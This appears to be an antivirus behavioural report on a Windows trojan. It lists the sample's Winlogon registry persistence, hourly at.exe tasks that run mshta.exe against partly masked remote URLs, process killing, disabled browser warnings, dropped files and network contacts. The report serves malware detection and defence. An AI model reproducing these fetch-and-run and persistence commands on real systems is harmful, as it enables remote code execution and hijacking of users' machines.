Technical Information
To ensure autorun and distribution:
Modifies the following registry keys:
- [<HKCU>\Software\Microsoft\Windows NT\CurrentVersion\Winlogon] 'Shell' = '%APPDATA%\palladium.exe'
Malicious functions:
Executes the following:
- <SYSTEM32>\at.exe 14:2 /every:M,T,W,Th,F,S,Su mshta.exe http://dr###umbat.com/jcfvnsdkjv.php?ca#######
- <SYSTEM32>\at.exe 15:2 /every:M,T,W,Th,F,S,Su mshta.exe http://dr###umbat.com/jcfvnsdkjv.php?ca#######
- <SYSTEM32>\at.exe 16:2 /every:M,T,W,Th,F,S,Su mshta.exe http://dr###umbat.com/jcfvnsdkjv.php?ca#######
- <SYSTEM32>\at.exe 11:2 /every:M,T,W,Th,F,S,Su mshta.exe http://dr###umbat.com/jcfvnsdkjv.php?ca#######
- <SYSTEM32>\at.exe 12:2 /every:M,T,W,Th,F,S,Su mshta.exe http://dr###umbat.com/jcfvnsdkjv.php?ca#######
- <SYSTEM32>\at.exe 13:2 /every:M,T,W,Th,F,S,Su mshta.exe http://dr###umbat.com/jcfvnsdkjv.php?ca#######
- <SYSTEM32>\at.exe 17:2 /every:M,T,W,Th,F,S,Su mshta.exe http://dr###umbat.com/jcfvnsdkjv.php?ca#######
- <SYSTEM32>\at.exe 21:2 /every:M,T,W,Th,F,S,Su mshta.exe http://dr###umbat.com/jcfvnsdkjv.php?ca#######
- <SYSTEM32>\at.exe 22:2 /every:M,T,W,Th,F,S,Su mshta.exe http://dr###umbat.com/jcfvnsdkjv.php?ca#######
- <SYSTEM32>\at.exe 23:2 /every:M,T,W,Th,F,S,Su mshta.exe http://dr###umbat.com/jcfvnsdkjv.php?ca#######
- <SYSTEM32>\at.exe 18:2 /every:M,T,W,Th,F,S,Su mshta.exe http://dr###umbat.com/jcfvnsdkjv.php?ca#######
- <SYSTEM32>\at.exe 19:2 /every:M,T,W,Th,F,S,Su mshta.exe http://dr###umbat.com/jcfvnsdkjv.php?ca#######
- <SYSTEM32>\at.exe 20:2 /every:M,T,W,Th,F,S,Su mshta.exe http://dr###umbat.com/jcfvnsdkjv.php?ca#######
- <SYSTEM32>\at.exe 01:2 /every:M,T,W,Th,F,S,Su mshta.exe http://dr###umbat.com/jcfvnsdkjv.php?ca#######
- <SYSTEM32>\at.exe 02:2 /every:M,T,W,Th,F,S,Su mshta.exe http://dr###umbat.com/jcfvnsdkjv.php?ca#######
- <SYSTEM32>\at.exe 03:2 /every:M,T,W,Th,F,S,Su mshta.exe http://dr###umbat.com/jcfvnsdkjv.php?ca#######
- <SYSTEM32>\mshta.exe http://re####rererere.com/inst.php?id##########
- <SYSTEM32>\cmd.exe /c ""%APPDATA%\asdfasfas.bat" "
- <SYSTEM32>\at.exe 00:2 /every:M,T,W,Th,F,S,Su mshta.exe http://dr###umbat.com/jcfvnsdkjv.php?ca#######
- <SYSTEM32>\at.exe 04:2 /every:M,T,W,Th,F,S,Su mshta.exe http://dr###umbat.com/jcfvnsdkjv.php?ca#######
- <SYSTEM32>\at.exe 08:2 /every:M,T,W,Th,F,S,Su mshta.exe http://dr###umbat.com/jcfvnsdkjv.php?ca#######
- <SYSTEM32>\at.exe 09:2 /every:M,T,W,Th,F,S,Su mshta.exe http://dr###umbat.com/jcfvnsdkjv.php?ca#######
- <SYSTEM32>\at.exe 10:2 /every:M,T,W,Th,F,S,Su mshta.exe http://dr###umbat.com/jcfvnsdkjv.php?ca#######
- <SYSTEM32>\at.exe 05:2 /every:M,T,W,Th,F,S,Su mshta.exe http://dr###umbat.com/jcfvnsdkjv.php?ca#######
- <SYSTEM32>\at.exe 06:2 /every:M,T,W,Th,F,S,Su mshta.exe http://dr###umbat.com/jcfvnsdkjv.php?ca#######
- <SYSTEM32>\at.exe 07:2 /every:M,T,W,Th,F,S,Su mshta.exe http://dr###umbat.com/jcfvnsdkjv.php?ca#######
Terminates or attempts to terminate
the following user processes:
- skype.exe
- iexplore.exe
- opera.exe
- YahooMessenger.exe
- msnmsgr.exe
- msn6.exe
- firefox.exe
- chrome.exe
Modifies settings of Windows Internet Explorer:
- [<HKCU>\Software\Microsoft\Windows\CurrentVersion\Internet Settings] 'WarnOnZoneCrossing' = '00000000'
- [<HKCU>\Software\Microsoft\Windows\CurrentVersion\Internet Settings] 'WarnOnPostRedirect' = '00000000'
- [<HKCU>\Software\Microsoft\Windows\CurrentVersion\Internet Settings] 'WarnonBadCertRecving' = '00000000'
- [<HKCU>\Software\Microsoft\Windows\CurrentVersion\Internet Settings] 'WarnOnPost' = '00000000'
Modifies file system :
Creates the following files:
- %HOMEPATH%\Local Settings\Temporary Internet Files\Content.IE5\69I9OPW5\inst[1].php
- %APPDATA%\asdfasfas.bat
- %APPDATA%\palladium.exe
Network activity:
Connects to:
- 're####rererere.com':80
- 'localhost':1036
TCP:
HTTP GET requests:
- re####rererere.com/inst.php?id##########
UDP:
- DNS ASK re####rererere.com
Miscellaneous:
Searches for the following windows:
- ClassName: 'Shell_TrayWnd' WindowName: ''
